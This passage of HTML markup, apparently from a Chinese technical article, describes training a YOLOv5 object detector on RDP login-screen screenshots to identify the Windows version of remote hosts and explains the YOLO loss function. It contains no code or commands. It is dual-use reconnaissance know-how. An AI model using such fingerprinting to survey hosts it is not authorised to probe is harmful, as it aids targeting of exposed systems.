pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 15px;">1.数据准备</span></strong></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">我</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">们主</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">要针对</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">Wi</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">ndows</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">操作系统编写脚本，获取开启</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">RDP服务的W</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">indows</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">主机的登录截图，目前主要支持的操作系统版本包括</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">Windows7_Profession、Windows7_Enterprise、Windows7_ul</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">imate</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">、</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">Windows_Server_2008_Standard、Windows_Server_2008_Enterprise、Windows_Server_2008_Datacenter、W</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">indows_Server_2012</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">、</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">Windows_Server_2008_R2_Standard</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">、</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">W</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">indows_Server_2008_R2</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">_</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">Enterprise</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">、</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">W</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">indows_Server_2008_R2_Datacenter</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">、</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">W</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">indows_Server_2008_R2_Foundation</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">、</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">Windows_Server_2008_R2_Web_Service、Windows_Server_2012_R2、Windows10/Windows11/Windows_Server_2016/2019一共1</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">4</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">个类别。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">其中</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">W</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">indows_Server_2016</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">和</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">W</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">indows_Server_2019</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">都是基于</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">Wi</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">ndows 10</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">内核开发的，所以我们将它们归为一类。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">同时，训练数据为经过人工挑选大量具有代表性的图片，使得模型的泛化能力得以保证。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">下图是我们基于</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">RDP协议获取到的Windows7_Enterprise的截图，从图中可以看到目标主机的操作系统版本和用户名。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.78125" data-s="300,640" style="width: 453px;height: 354px;" data-type="png" data-w="1024" src="https://wechat2rss.xlab.app/img-proxy/?k=b6bd4b88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplR0OQGrabvNMyIxNZVuyyfZVJoj9dUEM7XXMAR0dCW3Tg1mBtego7BKTleoyGyRN5F6cs5FfRETgQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-align: left;text-indent: 0em;font-size: 12px;">图2 基于RDP协议获取到的用户登录界面</span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"><strong style="margin: 0px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 4;text-align: justify;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 15px;overflow-wrap: break-word !important;">2.目标检测算法</span></strong></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong style="letter-spacing: 0.544px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-weight: 400;letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;overflow-wrap: break-word !important;">提到目标检测算法，就不得不说Yolo系列，目前Yolo系列已经更新至V7版本，但考虑到算法稳定性问题，我们采用Yolo V5算法对RDP截图进行识别训练。Yolo系列算法的本质相同，主要原理如下：</span></strong></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.9931662870159453" data-s="300,640" style="width: 394px;height: 391px;" data-type="png" data-w="439" src="https://wechat2rss.xlab.app/img-proxy/?k=b234cb54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplR0OQGrabvNMyIxNZVuyyfZMJ1R7j5wX3wy4uKxV3wdZdzoN3oicmlibCRKgwfu1PibrgxscuGIIGmUg%2F640%3Fwx_fmt%3Dpng"/><strong style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: 0.544px;orphans: 4;text-align: justify;white-space: pre-wrap;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-weight: 400;letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;overflow-wrap: break-word !important;"></span></strong></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-align: left;text-indent: 0em;font-size: 12px;">图3 yolo算法案例图</span></p><p style="margin: 0.8em 0px;padding: 0px;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong style="letter-spacing: 0.544px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-weight: 400;letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;overflow-wrap: break-word !important;">将输入图片分割成SxS网格，每个单元格（grid cell）负责去检测中心点落在该格子内的目标，如上图中的红色grid cell就负责预测“狗”这个对象。其次在不同的算法中每个grid cell又会生成多个bounding box，简称bbox，每个bbox又有置信度计算方法，其置信度大小一共包含两个部分具体计算公式如下:</span></strong></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2689784442361762" data-s="300,640" style="width: 233px;height: 63px;" data-type="jpeg" data-w="1067" src="https://wechat2rss.xlab.app/img-proxy/?k=a0c3c9cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplR0OQGrabvNMyIxNZVuyyfZJNaGjF8IabN52MZeAJ8X6BbU8mNX5CeNHtrlC0hoX4HpfOujqENl1A%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin: 0.8em 0px;padding: 0px;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong style="letter-spacing: 0.544px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-weight: 400;letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;overflow-wrap: break-word !important;">其中，</span></strong><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.36455981941309257" data-s="300,640" style="text-align: center;width: 71px;height: 26px;" data-type="jpeg" data-w="886" src="https://wechat2rss.xlab.app/img-proxy/?k=2e542319&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplR0OQGrabvNMyIxNZVuyyfZ3DzxSsQy9jOyjYziax6B2yE3Dg2S9wzt5oWygsoXXA5UUs5PLWPtNNQ%2F640%3Fwx_fmt%3Djpeg"/><strong style="letter-spacing: 0.544px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-weight: 400;letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;overflow-wrap: break-word !important;">表示边界框含有目标的可能性大小，如果该边界框是背景时为0，当边界框包含目标时为1；</span></strong><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5298329355608592" data-s="300,640" style="text-align: center;width: 63px;height: 33px;" data-type="jpeg" data-w="838" src="https://wechat2rss.xlab.app/img-proxy/?k=8efb2c24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplR0OQGrabvNMyIxNZVuyyfZlnUGLbkXXjmfdtw3flp6a60cKUyeNEt46LowZqCNT2xaHw8Ot2FFuw%2F640%3Fwx_fmt%3Djpeg"/><strong style="letter-spacing: 0.544px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-weight: 400;letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;overflow-wrap: break-word !important;">表示预测框和真实框的交并比。</span></strong><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.2826086956521738" data-s="300,640" style="text-align: center;width: 20px;height: 26px;" data-type="jpeg" data-w="322" src="https://wechat2rss.xlab.app/img-proxy/?k=049f641e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplR0OQGrabvNMyIxNZVuyyfZwCiaI472XohuLK5An1h4BWpkylibPNGVO7OtXkbxZQh0jOSkibtKf4UWg%2F640%3Fwx_fmt%3Djpeg"/><strong style="letter-spacing: 0.544px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-weight: 400;letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;overflow-wrap: break-word !important;">表示第个bbox的置信度，取值范围从0到1，表征</span></strong><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-weight: 400;letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;overflow-wrap: break-word !important;"><strong>边界框匹配目标的好坏程度</strong></span><strong style="letter-spacing: 0.544px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-weight: 400;letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;overflow-wrap: break-word !important;">。</span></strong><span style="letter-spacing: 0.544px;"></span></p><p style="margin: 0.8em 0px;padding: 0px;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-weight: 400;letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;overflow-wrap: break-word !important;">每个grid cell最终的预测值为</span><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.34486266531027465" data-s="300,640" style="text-align: center;width: 66px;height: 23px;" data-type="jpeg" data-w="983" src="https://wechat2rss.xlab.app/img-proxy/?k=580ae835&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplR0OQGrabvNMyIxNZVuyyfZI6bAE8ye30YYOgibjO6Zdhgo8h0ucEz6c2bcOFKQk9BNfibRqPneiae4g%2F640%3Fwx_fmt%3Djpeg"/><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-weight: 400;letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;overflow-wrap: break-word !important;">大小的张量，其中<strong>B</strong></span><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-weight: 400;letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;overflow-wrap: break-word !important;">表示bbox的个数，每个bbox预测值包括它的中心坐标(x，y)和（w，h），也就是边界框相对于整个图片的宽高比例，以及该bbox的边框置信度c；<strong>C</strong>表示每个bbox预测包含所有类别的概率值。其总的损失函数如下：</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2884455527847049" data-s="300,640" style="" data-type="jpeg" data-w="1203" src="https://wechat2rss.xlab.app/img-proxy/?k=bae1b1fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplR0OQGrabvNMyIxNZVuyyfZoMrwicpDntZjP0IYSaw8krvQmbKc4h2IREDqb30IZ3geb1HTl8cACJQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin: 0.8em 0px;padding: 0px;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">整个公式由三部分组成，第一部分为绿色方框中的内容，表示第</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">i个网格中的第j个bbox是否负责这个Ob</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">ject</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">，称为坐标预测；</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">第二部分为红色方框中的内容，分别是含有</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">O</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">bject</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">的</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">bbox的置信度预测与不含Ob</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">ject</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">的</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">bbox的置信度预测，统称置信度预测；</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">第三部分为蓝色方框中的内容，表示是否有Ob</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">ject</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">中心落在网格</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">i中，称为类别预测。</span><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5906921241050119" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;width: 43px;height: 25px;" data-type="jpeg" data-w="838" src="https://wechat2rss.xlab.app/img-proxy/?k=5f5b5e90&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplR0OQGrabvNMyIxNZVuyyfZm8wISqLAKWxea2dvoqN0g46RFycd2e59kdUQAhsaTXVYQAUUkCwDWA%2F640%3Fwx_fmt%3Djpeg"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;">与</span><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5871446229913473" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;width: 42px;height: 25px;" data-type="jpeg" data-w="809" src="https://wechat2rss.xlab.app/img-proxy/?k=92979742&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplR0OQGrabvNMyIxNZVuyyfZLg0ZVcMEXsR3TG5dgrZ3ouWNwXhg8CPbNMUkib5fRGrxbdHeicVAKZmQ%2F640%3Fwx_fmt%3Djpeg"/><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;">分别为权重系数。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;"></span></p><p style="margin: 0.8em 0px;padding: 0px;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;overflow-wrap: break-word !important;display: inline !important;">跟常见的机器学习任务一样，训练模型的最终目的是为了使上述的损失函数不断减小，让目标检测任务从<strong>预测方框</strong>和<strong>预测类别</strong>两个维度不断逼近真实的标签数据，从而达到训练效果。经过实验，最终的预测结果如下图所示。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7819277108433735" data-s="300,640" style="width: 473px;height: 370px;" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=ae425e72&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplR0OQGrabvNMyIxNZVuyyfZVSGYmbAM9fDLxicawHYTUppFKXZdRpx5TDlu0sNR2fLJM68ibk36woUg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-align: left;text-indent: 0em;font-size: 12px;">图4 基于rdp方法识别结果图</span><strong style="letter-spacing: 0.544px;text-align: justify;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 15px;overflow-wrap: break-word !important;"></span></strong></p><p style="margin: 0.8em 0px;padding: 0px;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-weight: 400;letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;overflow-wrap: break-word !important;"><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><strong style="margin: 0px;padding: 0px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, 